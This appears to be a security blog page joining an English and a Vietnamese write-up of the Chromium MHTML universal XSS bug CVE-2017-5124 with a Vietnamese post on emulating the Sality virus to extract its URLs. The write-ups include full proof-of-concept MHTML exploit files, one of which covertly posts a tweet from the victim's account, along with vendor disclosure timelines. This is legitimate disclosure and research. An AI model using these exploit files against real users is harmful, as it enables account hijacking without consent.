Cross-site scripting (XSS) (https://www.acunetix.com/websitesecurity/cross-site-scripting/) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.

While XSS can be taken advantage of within VBScript, ActiveX and Flash (although now considered legacy or even obsolete), unquestionably, the most widely abused is JavaScript – primarily because JavaScript is fundamental to most browsing experiences.

Hackers use UXSS to access every open session of the browser: hackers can read the cookies or sessions of opened tabs.

UXSS with MHTML (CVE-2017-5124)

This is a vulnerability in the Chromium when processing MHTML (HTML).

MHTML is a text document with a title, content-type (multipart / related), and a content separator (boundary), encoding (can be base64).

In the description of html, we can use Content-location to determine the source of the data. For example, we write Content-location: https://example.com/abc, which will be loaded from https://example.com/abc and displayed.

For security reasons, all javascript related data is forbidden and can not be executed from another location. This rule is checked everywhere, except for XSLT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----

The hacker can run alert () with the https://google.com domain and display a messagebox indicating the location corresponds to the script’s running script.

Some scenarios using UXSS with MHTML (CVE-2017-5124)

We will approach some “real” scenarios:

• Hack email: Bad guys can read emails, send mail with the user’s email address without their knowledge. Bank accounts are usually associated with an email address. If the email is compromised, the hacker will be able to read the account recovery codes or notifications from the bank, send fake emails or use this email to attack.
• Hackers can read and post posts under user accounts. I will use my Twitter account for testing.   The exploit code will tweet a message with the user’s Twitter account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
Become IDOL

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://twitter.com" ></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://twitter.com

<script>

function tweet(text)
{
    var win = window.open("/", '_blank', 'toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,left=10000, top=10000, width=2, height=1, visible=none', '');
	win.onload = function(){
	        win.boxTextToTweet = win.document.getElementById("tweet-box-home-timeline");
			win.btnPostTweet = win.document.getElementsByClassName("tweet-action EdgeButton EdgeButton--primary js-tweet-btn")[0];
			win.boxTextToTweet.focus();
			win.boxTextToTweet.innerHTML = text;
			setTimeout(function(){ win.btnPostTweet.click(); }, 500);
			setTimeout(function(){ win.close(); }, 1500);
	}
}

tweet('I <3 fosec. @quangnh89 is my idol.');

</script>
------MultipartBoundary----

I have attacked CocCoc (66) and SamSung Internet browser.

Demo with CocCoc 66:

The browsers are affected by CVE-2017-5124

All browsers that use the Chromium (Chrome < 62) are affected. CocCoc version 66.4.134, a popular browser in Vietnam, which uses Chromium 60.4.3112.134 is vulnerable. Some browsers on SamSung phones made by the manufacturer itself can be exploited. Personally, for security purposes, we can temporarily stop using the browser until the problem is solved.

Timeline

Coc Coc Browser

• 05/12/2017: contacted CocCoc Company.
• 06/12/2017: Coc Coc Company confirmed. Currently, the latest version of CocCoc has been fixed.

SamSung Internet Browser 6.2.01.12

• 03/12/2017: Send email to SamSung Company
• 08/12/2017: SamSung thinks that this issue belongs to Google Chrome.

According to my tests, the browser SamSung Internet Browser 6.2.01.12 suffered a serious vulnerability. If your phone is not up to date, wait for a patch. Demo with SamSung internet: https://www.youtube.com/watch?v=nLPuplN5HmM

Universal Cross-site Scripting (UXSS) là gì?

Lỗi cross-site scripting (XSS) attacks thường xuất hiện trên các website hoặc các ứng dụng web. Đây là lỗ hổng cho phép hacker có thể chèn những đoạn mã client-script (thường là Javascript hoặc HTML) vào trang web, khi người dùng vào những trên web này, mã độc sẽ được thực thi trên máy của người dùng. UXSS giống với XSS ở một số đặc điểm cơ bản: khai thác một lỗ hổng của ứng dụng web, thực thi mã độc, tuy nhiên vẫn có điểm khác nhau như sau: không giống như XSS là lỗ hổng nằm bên trong ứng dụng web, UXSS là loại lỗ hổng nằm bên trong trình duyệt, hoặc một phần mở rộng của trình duyệt. Loại lỗ hổng này tạo ra điều kiện giống như điều kiện xảy ra XSS, do đó có thể thực thi code độc hại. Khi lỗ hổng này bị khai thác, các tính năng bảo mật của trình duyệt sẽ bị vô hiệu hóa.

Hacker sử dụng UXSS để truy cập vào mọi phiên đang mở của trình duyệt: hacker có thể đọc được cookie hoặc session của các tab đang mở.

UXSS with MHTML (CVE-2017-5124)

Đây là một lỗi nằm trong nhân xử lý của Chromium khi xử lý định dạng MHTML (MIME-HTML) .

MHTML là tài liệu văn bản mà trong đó xác định rõ tiêu đề (title), content-type (multipart / related) và phần biên (ví dụ là ----MultipartBoundary--), sau đó được chia thành từng phần trong một file. Ngoài ra, có thể bổ sung một số thông tin như cách encode(base64 chẳng hạn).

Trong mô tả của html, chúng ta có thể sử dụng Content-location để xác định nguồn của dữ liệu. Ví dụ, chúng ta viết Content-location: https://example.com/abc, dữ liệu sẽ được trình duyệt đọc từ địa chỉ https://example.com/abc và hiển thị.

Để an toàn cho người dùng, tất cả các dữ liệu liên quan tới javascript đều bị cấm và không thể tải được từ một địa chỉ khác, ngoài domain người dùng đang truy cập. Điều này được Chromium kiểm tra ở mọi chỗ, trừ XSLT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----

Trong đoạn mã trên, hacker có thể chạy alert() với domain https://google.com và hiển thị một messagebox cho biết location tương ứng với ngữ cảnh script đang chạy.

Một vài kịch bản khai thác sử dụng UXSS with MHTML (CVE-2017-5124)

Nếu đơn thuần chỉ hiển thị một messagebox thì có lẽ cũng không cần quan tâm. Chúng ta sẽ tiếp cận một vài kịch bản “thực tế” hơn:

• Người dùng bị mất email: Người dùng hoàn toàn có thể bị kẻ xấu lợi dụng để đọc email, gửi thư bằng địa chỉ email của người dùng mà họ không hề hay biết. Hiện giờ, các tài khoản ngân hàng, tài khoản mạng xã hội thường gắn liền với một địa chỉ email. Nếu chiếm được email này, hacker hoàn toàn có thể đọc được các mã recover tài khoản hoặc các thông báo từ phía ngân hàng, gửi email giả mạo hoặc sử dụng email này làm bàn đạp để tấn công.
• Người dùng hoàn toàn có thể bị chiếm quyền điều khiển các tài khoản mạng xã hội: Hacker có thể đọc và đăng các bài post dưới tài khoản của người dùng. Tôi sẽ sử dụng tài khoản Twitter của tôi để thử nghiệm.
• Người dùng có thể mất tài khoản ngân hàng: nếu người dùng chỉ sử dụng trình duyệt và không có phương thức bảo vệ nào khác như OTP.

Mã khai thác sẽ tweet một thông điệp bằng tài khoản Twitter của người dùng.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
Become IDOL

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://twitter.com" ></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://twitter.com

<script>

function tweet(text)
{
    var win = window.open("/", '_blank', 'toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,left=10000, top=10000, width=2, height=1, visible=none', '');
	win.onload = function(){
	        win.boxTextToTweet = win.document.getElementById("tweet-box-home-timeline");
			win.btnPostTweet = win.document.getElementsByClassName("tweet-action EdgeButton EdgeButton--primary js-tweet-btn")[0];
			win.boxTextToTweet.focus();
			win.boxTextToTweet.innerHTML = text;
			setTimeout(function(){ win.btnPostTweet.click(); }, 500);
			setTimeout(function(){ win.close(); }, 1500);
	}
}

tweet('I <3 fosec. @quangnh89 is my idol.');

</script>
------MultipartBoundary----

Tôi có thực hiện một vài kịch bản tấn công với 2 trình duyệt Cốc Cốc ( bản 66 ) và SamSung Internet.

Demo với Cốc Cốc 66:

Những trình duyệt bị ảnh hưởng bởi CVE-2017-5124

Tôi khẳng định: Tất cả các trình duyệt sử dụng nhân của Chromium (phiên bản nhỏ hơn 62) đều bị ảnh hưởng. Điểm qua một số trình duyệt đang thịnh hành ở Việt Nam, chúng ta có thể kể đến Cốc Cốc (coccoc.vn), phiên bản 66.4.134 đang dùng nhân Chromium 60.4.3112.134). Ngoài ra một số trình duyệt trên các dòng điện thoại SamSung do hãng sản xuất tự thêm vào đều có thể mắc phải lỗi này. Cá nhân tôi cho rẳng, để an toàn, chúng ta có thể tạm thời ngưng sử dụng trình duyệt có lỗi cho đến khi chúng có bản vá đầy đủ.

Timeline thông báo lỗi tới các bên liên quan

Trình duyệt Cốc Cốc

• 05/12/2017: Thông báo cho công ty Cốc Cốc.
• 06/12/2017: Công ty Cốc Cốc khẳng định sẽ release bản sửa lỗi khi cập nhật tới phiên bản 68.
• 17/12/2017: Kiểm tra trình duyệt Cốc Cốc 68 và lỗi đã fix xong. Hiện tại, bản mới nhất của Cốc Cốc đã sửa lỗi này. Nếu bạn dùng Cốc Cốc, hãy tải bản mới nhất.

Trình duyệt SamSung Internet Browser 6.2.01.12

• 03/12/2017: Thông báo cho Công ty SamSung
• 04/12/2017: SamSung thông báo đã tiếp nhận vấn đề
• 08/12/2017: SamSung cho rằng issue này thuộc về Google Chrome và đã fix và đóng issue.

Theo thử nghiệm của tôi, trình duyệt SamSung Internet Browser 6.2.01.12 bị lỗ hổng nghiêm trọng này. Nếu máy điện thoại của bạn chưa cập nhật lên bản mới hơn, hãy tạm dừng sử dụng nó cho đến khi có bản mới. Demo với SamSung internet: https://www.youtube.com/watch?v=nLPuplN5HmM

Có thể nói, tôi là một fan của bộ ba công cụ: Reversing Trilogy: Capstone, Unicorn & Keystone. Đây là nhưng công cụ rất cơ bản để có thể thực hiện nhiều ý tưởng khác nhau của tôi trong quá trình phân tích hay dịch ngược. Nói vòng vo một chút, tôi biết ngôn ngữ Ruby của người Nhật. Những tài liệu, những thư viện đầu tiên đều là của người Nhật viết để hỗ trợ cho ngôn ngữ này. Tôi muốn tinh thần đó cũng có trong các sản phẩm của người Việt. Có thể đâu đó trong blog của tôi, tôi đã nhắc tới bộ ba Reversing Trilogy. Qua bài viết này, tôi muốn được một lần nữa giới thiệu Reversing Trilogy, một công cụ của người Việt nhưng chưa được thật sự nhiều người Việt biết tới.

Đôi nét về virus lây file

Trước tiên, tôi muốn các bạn có một hình dung cụ thể hơn về một virus lây file (file infector). Chúng ta tạm gọi một file thực thi chưa bị tấn công là host file (lưu ý: đây không phải là file /etc/hosts hay C:\Windows\System32\drivers\etc\hosts). host file (hay gọi tắt là host) là một file chương trình bình thường: Các file của hệ điều hành mà thực thi được (notepad.exe, calc.exe), các chương trình được cài đặt trong máy tính, các file cài đặt có phần mở rộng là exe hay các file trò chơi… Các file này có thể có phần mở rộng là .exe, .dll, .sys. Máy tính không thể hoạt động nếu không có một file thực thi nào. Một virus lây file khi vào máy tính và được thực thi, sẽ tìm kiếm các host và sửa file này: Chúng thêm vào host các đoạn mã của virus. Các đoạn mã này sẽ chạy virus lên khi host được kích hoạt, và sau khi virus đã chạy thành công, quyền thực thi sẽ trả về cho host để host tiếp tục thực hiện nhiệm vụ. Người dùng sẽ hoàn toàn không phát hiện ra đã có virus hoạt động. Host đã trở thành file bị lây (infected file). Khi người dùng copy những file bị lây này qua một máy tính khác (qua USB, qua email…), Virus sẽ tiếp tục lây lan. Đó là phương thức lây lan chủ yếu của virus lây file. Nếu trong một máy có nhiều file bị lây cùng thực thi, virus sẽ sử dụng các phương pháp như tạo mutex, event, … để virus chỉ thực thi một lần duy nhất.

Các chương trình Antivirus có nhiệm vụ bảo vệ máy tính có thể phát hiện ra các virus lây file này, gỡ bỏ đoạn mã độc hại và khôi phục lại file như trước khi bị lây. Tuy nhiên, vì không phải virus lây file nào cũng giống nhau, nên phương pháp gỡ bỏ sẽ rất đặc trưng cho từng virus. Người phân tích sẽ phải đọc và hiểu cách thức lây của virus để tìm phương pháp khôi phục file thích hợp. Không hề có một công thức chung cho việc này. Do vậy, Antivirus có thể dùng nhiều phương pháp phát hiện khác nhau dành cho virus lây file ( heuristics, emulator, phân tích theo hành vi - behavior analysis, …) nhưng tất cả chỉ dừng ở mức độ “phát hiện”. Muốn gỡ bỏ hoàn toàn, cần có sự phân tích cụ thể của người phân tích để đảm bảo chính xác. Phương pháp phát hiện và gỡ bỏ hiệu quả nhất cho dòng virus này vẫn là sử dụng chữ kí (signature): tức là một đoạn mã virus đặc trưng. Tuy nhiên, theo thời gian, các phương pháp sử dụng chữ kí sẽ khiến cho Antivirus ngày càng cồng kềnh và kém hiệu quả.

Để cải thiện khả năng “ẩn thân”, các nhà phát triển mã độc cũng nghĩ ra công cụ cho riêng mình: virus đa hình (polymorphic virus). Loại virus này có đặc điểm là sẽ mã hóa hầu hết các đoạn mã của virus, chỉ giải mã các đoạn mã đó trên bộ nhớ của chương trình khi thực thi. Do toàn bộ virus đã mã hóa, nên các Antivirus sẽ lựa chọn đoạn code giải mã (những phần code có thể coi là cố định) để làm signature. Các đoạn code giải mã này thường nhỏ. Tất nhiên, các nhà phát triển mã độc không dừng lại ở đây, họ tiếp tục cải tiến và phát triển virus siêu đa hình (Metamorphic code). Dòng này có đặc điểm là nó tạo ra các đoạn code giải mã khác nhau ở mỗi infected file. Cùng một biến thể, nhưng nếu lây 2 host, sẽ cho ra 2 đoạn code giải mã khác nhau. Có nhiều phương pháp khác nhau để làm việc này, nhưng một trong các phương pháp phổ biến là đưa các đoạn code “rác” vào code giải mã, để làm rối Antivirus. Hiện nay có khá nhiều project cho để biến đổi giống như thế này, bạn có thể thử xem qua: metame hay pymetamorph.

Phân tích Win32-Sality và phương pháp tìm các URL độc hại

Phân tích kĩ Win32-Sality, có thể thấy rằng đây là Metamorphic virus. Điều đó có nghĩa là, với cùng một mẫu virus và cùng một file bị lây, nhưng mỗi lần lây sẽ tạo ra các đoạn mã hoàn toàn khác nhau. Cần phải giải mã được toàn bộ virus để tìm được các URL được lưu trong virus. Để vượt qua các đoạn mã đa hình, tôi sử dụng emulator. Tôi dùng Unicorn-engine để chạy giả lập lại toàn bộ quá trình chạy của virus. Vì thế tôi không cần đọc hiểu thuật toán giải mã của chương trình, nhưng vẫn có thể giải mã chính xác. Win32-Sality có “đem” theo một DLL, đó là engine lây file. Tiếc rằng DLL này lại được pack bằng UPX. Đến bước này tôi sẽ phải dùng emulator một lần nữa để unpack và tìm các URL bên trong đó. Trong script, tôi có sử dụng pefile để parse nội dung của một file thực thi.

Các bước thực hiện như sau:

• sử dụng pefile để parse file PE.
• sử dụng unicorn-engine làm emulator để thực thi các đoạn mã giải mã
  • dùng mem_map của unicorn để copy toàn bộ file PE vào memory của emulator
  • tạo một vùng nhớ (khoảng 0x4000 - con số này tôi tự chọn) làm stack
  • thiết lập thanh ghi stack, do chương trình cần sử dụng stack trong khi thực thi. Các thanh ghi khác chỉ cần để mặc định
  • cài đặt một hàm callback để trace các lệnh đã được thực thi
  • bắt đầu chạy emulator từ entrypoint của chương trình

Trong quá trình phân tích Win32-Sality, tôi nhận thấy: sau khi thực hiện lệnh retn trong quá trình giải mã, EIP sẽ trỏ về đoạn code thật. Tuy nhiên, lệnh retn có thể xuất hiện nhiều chỗ khác nhau trong chương trình. Để tránh phát hiện nhầm, tôi có lấy 1 đoạn làm chữ kí cho Sality (hàm check_sality) để biết được đã giải mã xong hay chưa.

Sau khi giải mã thành công toàn bộ đoạn code gốc của sality, chúng ta lưu ý: DLL chứa engine lây file của sality lại được pack bằng UPX:

• Sử dụng pefile để parse file
• sử dụng unicorn-engine làm emulator để thực thi các đoạn mã giải mã của UPX (UPX stub code): bước này tôi làm tương tự như đã trình bày ở trên
• Fix Import Address Table (IAT) cho PE

Ở đây, chúng ta nhận thấy có IAT: UPX stub code cần gọi các hàm Windows API trong quá trình chạy của mình để: Build IAT cho file (LoadLibraryA, GetProcAddress của thư hiện kernel32.dll) hay gọi VirtualProtect để thiết lập thuộc tính cho các section. Rõ ràng, trong emulator hoàn toàn không có hệ điều hành nên tôi sẽ không có kernel32.dll. Tôi cũng không muốn emulate cả thư viện kernel32.dll. Tôi tạo một bảng fake IAT và dùng các ngắt (interrupt) để “bắt chước” lời gọi API. Các bước như sau:

• sử dụng keystone-engine tạo một đoạn code mô phỏng một API, gồm 2 lệnh: mov eax, number và int 0xff
• number là một số bất kì, đại diện cho API
• ngắt 0xff là một ngắt không ai dùng.
• sử dụng tính năng UC_HOOK_INTR để hook interrupt

Khi một API được thực thi, EAX sẽ chứa số hiệu tương ứng với hàm cần gọi. Emulator sẽ thực thi ngắt, gọi tới hook_intr. Bên trong hàm hook, thanh ghi EAX sẽ chứa kết quả trả về của hàm API. Bằng phương pháp này, chúng ta có thể mô phỏng bất cứ API nào.

Ngoài ra, UPX stub code không phải code đa hình, chúng ta có thể biết rõ: bắt đầu của stub là lệnh pushad và kết thúc là popad. Tôi sử dụng capstone-engine để disassemble đoạn code, tìm lệnh popad và lấy đó làm địa chỉ kết thúc quá trình emulate.

Kết quả

Sau khi thực hiện tất cả các bước trên, chúng ta có được toàn bộ code của sality, không mã hóa. Chúng ta hoàn toàn toàn có thể dump nó ra file để phân tích sâu hơn. Đơn giản hơn, tôi dùng một đoạn biểu thức chính quy (regular expression) để tìm các URL.

Kết quả thực hiện với một mẫu tôi kiếm được:

Script

Đây là mã nguồn của toàn bộ script tôi đã sử dụng: